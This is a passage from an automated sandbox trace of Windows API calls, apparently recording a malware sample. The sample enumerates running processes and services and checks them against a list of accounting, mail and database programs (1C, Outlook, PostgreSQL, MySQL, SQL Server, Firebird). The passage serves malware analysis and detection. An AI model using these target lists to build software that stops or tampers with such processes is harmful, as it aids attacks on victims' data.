(lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0246.484] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0246.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0246.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0246.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0246.484] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.484] lstrlenW (lpString="svchost.exe") returned 11 [0246.484] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0246.484] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0246.484] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.485] lstrlenW (lpString="svchost.exe") returned 11 [0246.485] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0246.485] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.485] lstrlenW (lpString="svchost.exe") returned 11 [0246.485] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0246.485] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0246.485] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.486] lstrlenW (lpString="svchost.exe") returned 11 [0246.486] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0246.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0246.486] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0246.486] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0246.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0246.486] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.486] lstrlenW (lpString="svchost.exe") returned 11 [0246.486] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.486] lstrlenW (lpString="audiodg.exe") returned 11 [0246.486] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.487] lstrlenW (lpString="svchost.exe") returned 11 [0246.487] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.487] lstrlenW (lpString="svchost.exe") returned 11 [0246.487] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0246.488] lstrlenW (lpString="userinit.exe") returned 12 [0246.488] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0246.488] lstrlenW (lpString="dwm.exe") returned 7 [0246.488] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.488] lstrlenW (lpString="explorer.exe") returned 12 [0246.488] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.488] lstrlenW (lpString="spoolsv.exe") returned 11 [0246.488] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0246.489] lstrlenW (lpString="taskhost.exe") returned 12 [0246.489] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.489] lstrlenW (lpString="svchost.exe") returned 11 [0246.489] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0246.489] lstrlenW (lpString="uyuquk.exe") returned 10 [0246.489] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0246.490] lstrlenW (lpString="reader_sl.exe") returned 13 [0246.490] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0246.490] lstrlenW (lpString="dllhost.exe") returned 11 [0246.490] Process32NextW (in: hSnapshot=0x394, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0246.490] CloseHandle (hObject=0x394) returned 1 [0246.491] Sleep (dwMilliseconds=0x1f4) [0247.152] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aea08 [0247.352] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0247.352] GetLastError () returned 0xea [0247.352] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xd68) returned 0x42e73a0 [0247.352] EnumServicesStatusExW (in: hSCManager=0x42aea08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xd68, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0247.352] CloseServiceHandle (hSCObject=0x42aea08) returned 1 [0247.353] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0247.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0247.353] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0247.353] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0247.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0247.353] lstrlenW (lpString="AudioSrv") returned 8 [0247.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0247.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0247.353] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0247.353] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0247.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0247.353] lstrlenW (lpString="BFE") returned 3 [0247.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0247.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0247.353] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0247.353] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0247.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0247.353] lstrlenW (lpString="CryptSvc") returned 8 [0247.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0247.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0247.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0247.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0247.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0247.353] lstrlenW (lpString="CscService") returned 10 [0247.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0247.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0247.353] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0247.353] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0247.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0247.354] lstrlenW (lpString="DcomLaunch") returned 10 [0247.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0247.354] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0247.354] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0247.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0247.354] lstrlenW (lpString="Dhcp") returned 4 [0247.354] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0247.354] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0247.354] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0247.354] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0247.354] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0247.354] lstrlenW (lpString="Dnscache") returned 8 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0247.355] lstrlenW (lpString="DPS") returned 3 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0247.355] lstrlenW (lpString="eventlog") returned 8 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0247.355] lstrlenW (lpString="EventSystem") returned 11 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0247.355] lstrlenW (lpString="gpsvc") returned 5 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0247.355] lstrlenW (lpString="LanmanWorkstation") returned 17 [0247.355] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.355] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0247.355] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0247.355] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0247.355] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0247.356] lstrlenW (lpString="lmhosts") returned 7 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0247.356] lstrlenW (lpString="MMCSS") returned 5 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0247.356] lstrlenW (lpString="MpsSvc") returned 6 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0247.356] lstrlenW (lpString="NlaSvc") returned 6 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0247.356] lstrlenW (lpString="nsi") returned 3 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0247.356] lstrlenW (lpString="PcaSvc") returned 6 [0247.356] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0247.356] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0247.356] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0247.357] lstrlenW (lpString="PlugPlay") returned 8 [0247.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0247.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0247.357] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0247.357] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0247.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0247.357] lstrlenW (lpString="Power") returned 5 [0247.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0247.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0247.357] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0247.357] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0247.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0247.357] lstrlenW (lpString="ProfSvc") returned 7 [0247.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0247.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0247.357] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0247.357] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0247.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0247.357] lstrlenW (lpString="RpcEptMapper") returned 12 [0247.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0247.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0247.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0247.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0247.357] lstrlenW (lpString="RpcSs") returned 5 [0247.357] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0247.357] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0247.357] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0247.357] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0247.357] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0247.357] lstrlenW (lpString="SamSs") returned 5 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0247.358] lstrlenW (lpString="Schedule") returned 8 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0247.358] lstrlenW (lpString="SENS") returned 4 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0247.358] lstrlenW (lpString="ShellHWDetection") returned 16 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0247.358] lstrlenW (lpString="Spooler") returned 7 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0247.358] lstrlenW (lpString="SysMain") returned 7 [0247.358] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0247.358] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0247.358] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0247.358] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0247.358] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0247.358] lstrlenW (lpString="Themes") returned 6 [0247.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0247.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0247.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0247.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0247.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0247.359] lstrlenW (lpString="TrkWks") returned 6 [0247.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0247.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0247.359] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0247.359] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0247.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0247.359] lstrlenW (lpString="UxSms") returned 5 [0247.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0247.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0247.359] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0247.359] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0247.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0247.359] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0247.359] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x398 [0247.361] Process32FirstW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.361] Process32NextW (in: hSnapshot=0x398, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.361] lstrlenW (lpString="System") returned 6 [0247.361] lstrcmpiW (lpString1="1c8.exe", 